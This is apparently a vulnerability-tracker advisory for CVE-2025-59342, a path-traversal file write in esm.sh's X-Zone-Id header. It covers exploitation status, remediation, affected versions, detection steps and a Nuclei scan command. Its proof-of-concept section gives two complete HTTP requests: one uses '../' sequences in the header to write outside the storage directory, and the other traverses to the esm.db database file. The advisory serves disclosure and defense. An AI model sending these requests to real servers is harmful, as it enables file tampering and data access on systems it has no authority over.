CVE-2025-59342 — esm.sh
Fix: esm-dev/esm.sh@833a29fCVE-2025-59342 is a CWE-24 vulnerability in github.com/esm-dev/esm.sh. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/esm-dev/esm.sh — see the affected versions and patch details below.
esm.sh writes arbitrary files via path traversal in `X-Zone-Id` header
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-59342.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/esm-dev/esm.shReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).
Severity: Medium
Component / Endpoint:
POST /transform — handling of X-Zone-Id header
The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.
Proof of Concept (POC)
Request (attacker-supplied X-Zone-Id contains path traversal):
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325
{
"filename": "example2.js",
"lang": "js",
"code": "console.log('hello');",
"importMap": {
"imports": {
"react": "https://esm.sh/react",
"react-dom": "https://esm.sh/react-dom"
}
},
"jsxImportSource": "react",
"target": "es2022",
"sourceMap": "external",
"minify": true
}
Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.
This can be trigger with another path traversal request below
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
Remediation
Simply remove any .. in the X-Zone-Id header before actually process the file.
Credits
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/esm-dev/esm.sh | all versions | 136.1go get github.com/esm-dev/esm.sh@v136.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
esm-dev 136 - Path Traversal
by Byte Reaper · Dec 16, 2025
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/esm-dev/esm.sh to 136.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-59342 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How to detect CVE-2025-59342
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2025-59342 -u https://target- Template
- esm.sh <= v136 - Arbitrary File Write via Path Traversal
- Severity
- medium
Template by ProjectDiscovery nuclei-templates (0x_Akoko), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2025-59342 in your dependencies?
Find it across Go, including transitive dependencies.